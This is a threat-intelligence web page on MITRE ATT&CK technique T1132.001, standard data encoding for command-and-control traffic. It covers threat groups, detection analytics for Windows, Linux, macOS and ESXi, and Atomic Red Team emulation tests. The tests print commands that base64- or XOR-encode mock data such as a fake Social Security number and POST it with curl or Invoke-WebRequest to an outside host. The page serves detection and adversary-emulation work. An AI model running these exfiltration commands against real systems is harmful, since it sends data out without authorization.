tfMITRE ATT&CK sub-technique

Standard Encoding T1132.001

Tactic: Command and Control
Platforms: ESXi, Linux, macOS, Windows
Version: 1.1
Created: 14 March 2020
Last modified: 12 May 2026

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.[1][2] Some data encoding systems may also result in data compression, such as gzip.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

114

Tools & malwareTop 3%

Tools & malware97th percentile · 97% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules60th pct

Detection rules60th percentile · 60% of ATT&CK techniques have this many detection rules written or fewer.

Standard Encoding MITRE reference T1132.001

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

APT42G1044 ↗

Has encoded C2 traffic with Base64.1

created 2025-01-081 reference

TA551G0127 ↗

Has used encoded ASCII text for initial C2 communications.1

created 2021-03-191 referenceaka GOLD CABIN

HAFNIUMG0125 ↗

Has used ASCII encoding for C2 traffic.1

created 2021-03-031 referenceaka Operation Exchange Marauder

Tropic TrooperG0081 ↗

Has used base64 encoding to hide command strings delivered from the C2.1

created 2019-01-291 referenceaka Pirate Panda

APT19G0073 ↗

An APT19 HTTP malware variant used Base64 to encode communications to the C2 server.1

created 2018-10-171 referenceaka Codoso

APT33G0064 ↗

Has used base64 to encode command and control traffic.1

created 2018-04-181 referenceaka HOLMIUM

All 11 groups for this technique · 6 newest in this preview

Offense vs defense T1132.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 4Splunk ESCU (cumulative) · 0

first rule: 2019 Q4 · 1 of 1 campaigns plotted

Standard Encoding detection strategy DET0124

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi

Enterprise

4 platforms

AN0345 · Windows

Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals → shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Script ExecutionDC0029	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Network Traffic FlowDC0078	M365Defender:DeviceNetworkEvents	NetworkConnection: bytes_sent >> bytes_received anomaly
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
PayloadEntropyThreshold	Shannon entropy cutoff to consider payload suspicious (e.g., > 4.5–5.0 for HTTP body).
B64LengthThreshold	Min continuous Base64 token length in command lines/script blocks to alert (e.g., > 100 chars).
TimeWindow	Correlation window between encoding event and egress (default 10m).
KnownAdminTools	Legitimate tools (e.g., backup agents) that routinely encode/compress data.
BytesOutToInRatio	Minimum ratio to treat flow as asymmetric (e.g., ≥ 4:1).

AN0346 · Linux

Shell/utility (base64, xxd -p, od, openssl enc -base64, python/perl base64 libraries) encodes data → subsequent outbound connections (curl/wget/bash TCP, socat, python requests) with high asymmetry or Base64/MIME blobs in HTTP/DNS payloads.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve of base64\|openssl\|xxd\|python\|perl with arguments matching Base64 flags
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
EncodingToolsAllowList	Build/backup jobs that legitimately call base64/openssl.
EntropyThreshold	Shannon entropy for payloads (e.g., >4.5).
TimeWindow	Join window between exec and egress (default 10m).
OutInRatio	Bytes_out / bytes_in threshold (default 4).

AN0347 · macOS

Processes use base64/xxd/openssl/python Objective‑C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) → quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	process command line contains base64, -enc, openssl enc -base64
Network Traffic FlowDC0078	PF:Logs	outbound flows with bytes_out >> bytes_in
Network Traffic ContentDC0085	NSM:Flow	http: HTTP body contains long Base64 sections

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedDeveloperIDs	Signed/allowed developer binaries routinely using encoding.
EntropyThreshold	Payload entropy cutoff.
TimeWindow	Exec → egress window.

AN0348 · ESXi

ESXi shell (BusyBox) or VMware utilities (openssl, python if present) used to Base64/hex encode data from datastore or config files → followed by abnormal egress from the host (NSX/flow logs) with asymmetric bytes_out or HTTPS posts to non-management endpoints.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	esxi:shell	commands containing base64, openssl enc -base64, xxd -p
Application Log ContentDC0038	esxi:hostd	unexpected script/command invocations via hostd
Network Traffic FlowDC0078	NSX:FlowLogs	network_flow: bytes_out >> bytes_in to external
Network Traffic ContentDC0085	NSM:Flow	http: Base64/MIME looking payloads from ESXi host IP

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MgmtCIDRs	CIDRs for legitimate vCenter/NSX/backup endpoints.
BytesRatio	Out:In ratio deemed suspicious (e.g., ≥3 on ESXi).
TimeWindow	Correlation window between shell command and egress.

Tests3Executorssh 2 · PowerShell 1Need elevation0 of 3Have prerequisites1Have cleanup0Platformsmacos, linux, windows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Base64 Encoded data.

macos, linux

—

Utilizing a common technique for posting base64 encoded data.

Input arguments

Name	Type	Default	Description
base64_data	string	MTExLTExLTExMTE=	Encoded data to post using fake Social Security number 111-11-1111.
destination_url	url	redcanary.com	Destination URL to post encoded data.

Attack command

echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}

GUID6446a0c5-c28c-43ab-a382-641a7867e574

Base64 Encoded data (freebsd)

linux

—

Utilizing a common technique for posting base64 encoded data.

Input arguments

Name	Type	Default	Description
base64_data	string	MTExLTExLTExMTE=	Encoded data to post using fake Social Security number 111-11-1111.
destination_url	url	redcanary.com	Destination URL to post encoded data.

Attack command

echo -n 111-11-1111 | b64encode -r -
curl -XPOST #{base64_data}.#{destination_url}

Prerequisite

Requires curl

Check

if [ -x "$(command -v curl)" ]; then exit 0; else exit 1; fi;

Satisfy

pkg install -y curl

GUID6fa946bd-96bf-40c6-b9fb-abe73d567182

XOR Encoded data.

windows

PowerShell

—

XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f

Input arguments

Name	Type	Default	Description
key	string	abcdefghijklmnopqrstuvwxyz123456	XOR key used for encoding the plaintext.
plaintext	string	Path\n----\nC:\Users\victim	Plain text mimicking victim data sent to C2 server.
destination_url	url	example.com	Destination URL to post encoded data.

Attack command

$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
$key = "#{key}"
$cyphertext =  @();
for ($i = 0; $i -lt $plaintext.Count; $i++) {
 $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
}
$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
[System.Net.ServicePointManager]::Expect100Continue = $false
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive

GUID1abc96f5-ca89-453c-9a89-5aee7decabef

Tests from Atomic Red Team (MIT licence) · technique definition

Standard Encoding detections T1132.001

4 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

60th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs